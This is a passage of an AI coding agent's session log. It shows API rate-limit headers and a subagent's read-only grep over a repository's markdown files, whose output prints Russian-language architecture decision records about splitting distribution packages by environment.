\"allowed_warning\",\n[2026-09-29T07:45:20.669Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:20.674Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:20.677Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:20.681Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:20.684Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:20.689Z] [STDOUT]   \"request-id\": \"req_011CfXMkN1ZpkX5i3d1c1xYw\",\n[2026-09-29T07:45:20.693Z] [STDOUT]   \"traceresponse\": \"00-eab6e504ff54330c5433dbf4909f253b-0dafe756d74cd310-01\",\n[2026-09-29T07:45:20.697Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:20.700Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:20.705Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:20.710Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:20.713Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:20.720Z] [STDOUT]   \"cf-ray\": \"a4295e206ccc4d8b-FRA\",\n[2026-09-29T07:45:20.727Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:20.741Z] [STDOUT] [log_347c33] response parsed {\n[2026-09-29T07:45:20.760Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:20.774Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:20.781Z] [STDOUT]   body: X {\n[2026-09-29T07:45:20.791Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:20.798Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:20.804Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:20.810Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:20.815Z] [STDOUT]     },\n[2026-09-29T07:45:20.819Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:20.822Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:20.826Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:20.829Z] [STDOUT]   },\n[2026-09-29T07:45:20.833Z] [STDOUT]   durationMs: 875,\n[2026-09-29T07:45:20.841Z] [STDOUT] }\n[2026-09-29T07:45:20.844Z] [INFO] {\n[2026-09-29T07:45:20.844Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"message\": {\n[2026-09-29T07:45:20.844Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"id\": \"msg_011CfXMkG96Win6RkDKWMuM9\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:20.844Z] [INFO]     \"content\": [\n[2026-09-29T07:45:20.844Z] [INFO]       {\n[2026-09-29T07:45:20.844Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:20.844Z] [INFO]         \"id\": \"toolu_01JvUQ5643vWRC5Xzkg3Jimx\",\n[2026-09-29T07:45:20.844Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:20.844Z] [INFO]         \"input\": {\n[2026-09-29T07:45:20.844Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && grep -n -i '\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432' artifact-micro-structure/10-theory.md README.md normalization/*.md | cut -c1-400; echo ----; grep -n -i 'fail-closed\\\\|fail closed' -r . --include=*.md | cut -c1-400\",\n[2026-09-29T07:45:20.844Z] [INFO]           \"description\": \"Show cognitive and fail-closed mentions\"\n[2026-09-29T07:45:20.844Z] [INFO]         },\n[2026-09-29T07:45:20.844Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:20.844Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:20.844Z] [INFO]         }\n[2026-09-29T07:45:20.844Z] [INFO]       }\n[2026-09-29T07:45:20.844Z] [INFO]     ],\n[2026-09-29T07:45:20.844Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:20.844Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:20.844Z] [INFO]       \"cache_creation_input_tokens\": 491,\n[2026-09-29T07:45:20.844Z] [INFO]       \"cache_read_input_tokens\": 46852,\n[2026-09-29T07:45:20.844Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:20.844Z] [INFO]         \"ephemeral_5m_input_tokens\": 491,\n[2026-09-29T07:45:20.844Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:20.844Z] [INFO]       },\n[2026-09-29T07:45:20.844Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:20.844Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:20.844Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:20.844Z] [INFO]     },\n[2026-09-29T07:45:20.844Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:20.844Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:20.844Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:20.844Z] [INFO]   },\n[2026-09-29T07:45:20.844Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"uuid\": \"dcec1e1b-85b8-4bd9-a53a-2e4ed0d9f7c0\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:20.373Z\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"request_id\": \"req_011CfXMkFgZAbHGW35Rj26Ab\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:20.844Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:20.844Z] [INFO] }\n[2026-09-29T07:45:20.849Z] [INFO] {\n[2026-09-29T07:45:20.849Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"description\": \"Running Show cognitive and fail-closed mentions\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:20.849Z] [INFO]     \"total_tokens\": 47594,\n[2026-09-29T07:45:20.849Z] [INFO]     \"tool_uses\": 13,\n[2026-09-29T07:45:20.849Z] [INFO]     \"duration_ms\": 51096\n[2026-09-29T07:45:20.849Z] [INFO]   },\n[2026-09-29T07:45:20.849Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"uuid\": \"c4937026-d366-4ccf-8643-95c4523b8669\",\n[2026-09-29T07:45:20.849Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:20.849Z] [INFO] }\n[2026-09-29T07:45:20.856Z] [INFO] {\n[2026-09-29T07:45:20.856Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"message\": {\n[2026-09-29T07:45:20.856Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:20.856Z] [INFO]     \"content\": [\n[2026-09-29T07:45:20.856Z] [INFO]       {\n[2026-09-29T07:45:20.856Z] [INFO]         \"tool_use_id\": \"toolu_01XCLg7LicwvUvhJ2CtFHXGL\",\n[2026-09-29T07:45:20.856Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:20.856Z] [INFO]         \"content\": \"1:=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n5:## Decision Metadata\\n47:=== decisions/2026-09-adr-020-clean-distribution-package.md\\n51:## Decision Metadata\\n69:## Decision\\n83:## Decision Drivers\\n93:=== docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n97:## Decision Metadata\\n117:## Decision\\n139:=== docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n143:## Decision Metadata\\n163:## Decision\\n185:=== docs/rfc/2026-09-source-pilot-verification.md\\n201:## Summary\\n231:=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n241:## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430 RRP.\\n\\n\u041d\u0443\u0436\u043d\u0430 \u044f\u0432\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u043b\u044f\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0440\u0435\u0434 \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c:\\n\\n- \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale \u0432 runtime-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c;\\n- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 runtime \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 Source;\\n- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n  \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438;\\n- \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c\u0438, \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439.\\n\\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0430\u044f\\n[`ba-meta-model`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n\u0438\u043c\u0435\u0435\u0442 `scope: mango-only`; \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ADR \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439\\n=== decisions/2026-09-adr-020-clean-distribution-package.md\\n\\n# ADR-020: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 Distribution\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-020 |\\n| Decision type | methodology |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-26 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) |\\n| Impacted artifacts | \u0412\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 `projects/ba-ai-process/dist/` \u0438 \u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 Distribution \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043e\u0442\u0434\u0435\u043b\u044f\u044f \u0435\u0433\u043e \u043e\u0442 Source \u0438 rationale. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435. [Issue #617](\\n\\n## Decision\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `projects/ba-ai-process/dist/execution-package-/` \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c **\u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b**. \u0412 \u0435\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0434, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0435\u0451 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 **\u0432 \u044d\u0442\u043e\u0439 \u0441\u0440\u0435\u0434\u0435**. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043a\u043b\u044e\\n\\n\u0418\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f:\\n\\n- \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0438\u043d\u044b\u0445 \u0441\u0440\u0435\u0434 \u0438\u043b\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438;\",\n[2026-09-29T07:45:20.856Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:20.856Z] [INFO]       }\n[2026-09-29T07:45:20.856Z] [INFO]     ]\n[2026-09-29T07:45:20.856Z] [INFO]   },\n[2026-09-29T07:45:20.856Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:20.856Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"uuid\": \"7ac57160-2973-479b-b75b-31e2b3bc9c12\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:20.519Z\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:20.856Z] [INFO]     \"stdout\": \"1:=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n5:## Decision Metadata\\n47:=== decisions/2026-09-adr-020-clean-distribution-package.md\\n51:## Decision Metadata\\n69:## Decision\\n83:## Decision Drivers\\n93:=== docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n97:## Decision Metadata\\n117:## Decision\\n139:=== docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n143:## Decision Metadata\\n163:## Decision\\n185:=== docs/rfc/2026-09-source-pilot-verification.md\\n201:## Summary\\n231:=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n241:## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430 RRP.\\n\\n\u041d\u0443\u0436\u043d\u0430 \u044f\u0432\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u043b\u044f\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0440\u0435\u0434 \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c:\\n\\n- \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale \u0432 runtime-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c;\\n- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 runtime \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 Source;\\n- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n  \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438;\\n- \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c\u0438, \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439.\\n\\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0430\u044f\\n[`ba-meta-model`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n\u0438\u043c\u0435\u0435\u0442 `scope: mango-only`; \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ADR \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439\\n=== decisions/2026-09-adr-020-clean-distribution-package.md\\n\\n# ADR-020: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 Distribution\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-020 |\\n| Decision type | methodology |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-26 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) |\\n| Impacted artifacts | \u0412\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 `projects/ba-ai-process/dist/` \u0438 \u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## 